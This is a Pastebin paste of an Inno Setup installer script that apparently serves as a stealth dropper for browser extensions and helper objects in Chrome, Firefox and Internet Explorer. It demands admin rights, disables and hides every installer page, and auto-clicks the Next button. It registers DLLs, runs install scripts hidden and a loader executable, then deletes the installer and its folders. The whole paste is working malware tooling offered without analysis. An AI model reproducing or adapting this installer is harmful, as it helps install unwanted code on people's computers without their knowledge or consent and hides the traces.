Advertisement
FlyFar

installer/installer.iss

Sep 23rd, 2023
1,815
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Inno Script 2.64 KB | Cybersecurity | 0 0
  1.  
  2. [Setup]
  3. AppId="Installer"
  4. AppPublisher="Installer Publisher"
  5. AppName="Extensions"
  6. AppVerName="Extensions-0.3.5.12"
  7. VersionInfoVersion="0.3.5.12"
  8. DefaultDirName={localappdata}\extensions_test\0.3.5.12
  9. OutputBaseFilename=setup
  10. PrivilegesRequired="admin"
  11.  
  12. DisableStartupPrompt=yes
  13. DisableDirPage=yes
  14. DisableFinishedPage=yes
  15. DisableProgramGroupPage=yes
  16. DisableReadyMemo=yes
  17. DisableReadyPage=yes
  18. DisableWelcomePage=yes
  19. AllowNoIcons=yes
  20. OutputDir=.
  21. Compression=lzma
  22. SolidCompression=yes
  23.  
  24.  
  25. [Files]
  26. Source: "ff\*.xpi";         DestDir: "{app}\f"; Flags: replacesameversion skipifsourcedoesntexist;
  27. Source: "ff\install.cmd";   DestDir: "{app}\f"; Flags: replacesameversion skipifsourcedoesntexist;
  28. Source: "ff\ff.js";         DestDir: "{app}\f"; Flags: replacesameversion skipifsourcedoesntexist;
  29.  
  30. Source: "ie\bhoX32.dll";    DestDir: "{app}\i"; Flags: regserver 32bit replacesameversion skipifsourcedoesntexist;
  31. Source: "ie\bhoX64.dll";    DestDir: "{app}\i"; Flags: regserver 64bit replacesameversion skipifsourcedoesntexist; Check: IsWin64;
  32. Source: "ie\script.js";     DestDir: "{app}\i"; Flags: replacesameversion skipifsourcedoesntexist;
  33. Source: "ie\install.cmd";   DestDir: "{app}\i"; Flags: replacesameversion skipifsourcedoesntexist;
  34.  
  35. Source: "ch\install.cmd";   DestDir: "{app}\c"; Flags: replacesameversion skipifsourcedoesntexist;
  36. Source: "ch\test.crx";      DestDir: "{app}\c"; Flags: replacesameversion skipifsourcedoesntexist;
  37. Source: "ch\loader.exe";    DestDir: "{app}\c"; Flags: replacesameversion skipifsourcedoesntexist;
  38.  
  39. Source: "del.cmd";          DestDir: "{app}"; Flags: replacesameversion;
  40.  
  41. [Run]
  42. Filename: "{app}\c\install.cmd"; Flags: shellexec runhidden hidewizard skipifdoesntexist
  43. Filename: "{app}\f\install.cmd"; Flags: shellexec runhidden hidewizard skipifdoesntexist
  44. Filename: "{app}\i\install.cmd"; Flags: shellexec runhidden hidewizard skipifdoesntexist
  45. Filename: "{app}\del.cmd"; Parameters: """{srcexe}"" ""{app}\f"" ""{app}\c"" ""{app}\i\install.cmd"""; Flags: shellexec runhidden nowait skipifdoesntexist
  46.  
  47. [Code]
  48. const
  49.   BN_CLICKED = 0;
  50.   WM_COMMAND = $0111;
  51.   CN_BASE = $BC00;
  52.   CN_COMMAND = CN_BASE + WM_COMMAND;
  53.   WM_SHOWWINDOW = $0018;
  54.   CN_HIDE = CN_BASE + WM_SHOWWINDOW;
  55.  
  56. procedure CurPageChanged(CurPageID: Integer);
  57. var
  58.   Param: Longint;
  59. begin
  60.   // send hide to every window
  61.   PostMessage(WizardForm, CN_HIDE, 0, 0);
  62.   // if we are on the ready page, then...  
  63.   if CurPageID = wpReady then
  64.   begin
  65.     // the result of this is 0, just to be precise...
  66.     Param := 0 or BN_CLICKED shl 16;
  67.     // post the click notification message to the next button
  68.     PostMessage(WizardForm.NextButton.Handle, CN_COMMAND, Param, 0);
  69.   end;
  70. end;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement